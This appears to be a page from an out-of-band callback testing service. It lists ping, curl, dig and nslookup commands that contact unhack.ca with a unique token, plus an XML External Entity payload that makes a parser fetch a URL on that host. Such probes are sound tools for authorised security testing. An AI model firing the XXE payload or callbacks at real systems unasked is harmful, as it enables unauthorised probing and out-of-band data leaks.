$ ping -c1 -p 007dcc48c62f32f992b087578e63b200 unhack.ca
 

$ curl http://unhack.ca/p/7dcc48c62f32f992b087578e63b2
 

$ dig 7dcc48c62f32f992b087578e63b2 @unhack.ca
 

$ dig 7dcc48c62f32f992b087578e63b2.ns.unhack.ca
 

C:\> nslookup 7dcc48c62f32f992b087578e63b2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7dcc48c62f32f992b087578e63b2">]>
    <foo>&xxe;</foo>